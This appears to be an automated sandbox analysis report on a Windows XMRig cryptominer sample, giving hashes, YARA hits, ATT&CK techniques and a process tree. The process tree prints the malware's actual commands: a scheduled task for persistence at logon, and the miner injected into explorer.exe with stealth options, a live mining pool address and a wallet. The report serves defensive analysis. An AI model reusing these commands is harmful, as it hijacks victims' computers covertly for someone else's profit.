xmrig | d94fd5cde3574048397162ee252ed9fd3b6ad79ad02b63eb513c78911c2191ab

Analysis

max time kernel
136s
max time network
156s
platform
windows10_x64
resource
win10v20210410
submitted
05/08/2021, 07:37

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General

Target
2ef1f2fd600af1cea8690b76de3fafe9.exe
Size 44KB
Sample210805-9l5pcsspc2
SHA256 d94fd5cde3574048397162ee252ed9fd3b6ad79ad02b63eb513c78911c2191ab
MD5 2ef1f2fd600af1cea8690b76de3fafe9
SHA1 3662292b56608857430f080d01dadbdffafdb18c
SHA512 52d4fe77d38ae33699ff90b1fecb5d961af577afd491fe83f808467aef56000a5f507c6ce4738b9804d1f22f7e3caa10beda22c05aa76f0f1fa92ef47cea374f
MD5 SHA1 SHA512

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

resource	yara_rule
behavioral2/memory/2304-139-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/2304-140-0x00000001402EB66C-mapping.dmp	xmrig
behavioral2/memory/2304-142-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
3948	services64.exe
1748	sihost64.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3948 set thread context of 2304	3948	services64.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3736	schtasks.exe
1936	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2116	2ef1f2fd600af1cea8690b76de3fafe9.exe
3948	services64.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	2ef1f2fd600af1cea8690b76de3fafe9.exe
Token: SeDebugPrivilege	3948	services64.exe
Token: SeLockMemoryPrivilege	2304	explorer.exe
Token: SeLockMemoryPrivilege	2304	explorer.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 3944	2116	2ef1f2fd600af1cea8690b76de3fafe9.exe	79
PID 2116 wrote to memory of 3944	2116	2ef1f2fd600af1cea8690b76de3fafe9.exe	79
PID 3944 wrote to memory of 3736	3944	cmd.exe	81
PID 3944 wrote to memory of 3736	3944	cmd.exe	81
PID 2116 wrote to memory of 3948	2116	2ef1f2fd600af1cea8690b76de3fafe9.exe	82
PID 2116 wrote to memory of 3948	2116	2ef1f2fd600af1cea8690b76de3fafe9.exe	82
PID 3948 wrote to memory of 916	3948	services64.exe	83
PID 3948 wrote to memory of 916	3948	services64.exe	83
PID 3948 wrote to memory of 1748	3948	services64.exe	86
PID 3948 wrote to memory of 1748	3948	services64.exe	86
PID 916 wrote to memory of 1936	916	cmd.exe	85
PID 916 wrote to memory of 1936	916	cmd.exe	85
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88
PID 3948 wrote to memory of 2304	3948	services64.exe	88

C:\Users\Admin\AppData\Local\Temp\2ef1f2fd600af1cea8690b76de3fafe9.exe
"C:\Users\Admin\AppData\Local\Temp\2ef1f2fd600af1cea8690b76de3fafe9.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\services64.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\services64.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:3736
- C:\Users\Admin\services64.exe
  "C:\Users\Admin\services64.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3948
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\services64.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:916
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:1936
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    - Executes dropped EXE
    PID:1748
- - C:\Windows\explorer.exe
    C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.minexmr.com:4444 --user=49LQTYwMJ5pK2AtCViY5By7cEUhfYXwjgdaYMBEueHKmeoahcgdnc2CRCnrtK3mDaY2gyEViU4U9AYtkMp1T5rDAUpafWNN --pass= --cpu-max-threads-hint=30 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

memory/1748-138-0x0000000003100000-0x0000000003102000-memory.dmp

Download

memory/1748-135-0x0000000000670000-0x0000000000671000-memory.dmp

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memory/2116-121-0x000000001C920000-0x000000001C922000-memory.dmp

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memory/2116-118-0x0000000001590000-0x0000000001591000-memory.dmp

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memory/2116-114-0x0000000000D10000-0x0000000000D11000-memory.dmp

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memory/2116-116-0x0000000001510000-0x000000000151A000-memory.dmp

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memory/2116-117-0x0000000001550000-0x0000000001551000-memory.dmp

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memory/2304-139-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/2304-141-0x0000000001FF0000-0x0000000002010000-memory.dmp

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memory/2304-142-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/2304-145-0x0000000002020000-0x0000000002040000-memory.dmp

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memory/2304-146-0x0000000013F50000-0x0000000013F70000-memory.dmp

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memory/2304-147-0x0000000013CC0000-0x0000000013CE0000-memory.dmp

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memory/2304-148-0x0000000013CE0000-0x0000000013D00000-memory.dmp

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memory/3948-137-0x0000000002A60000-0x0000000002A62000-memory.dmp

Download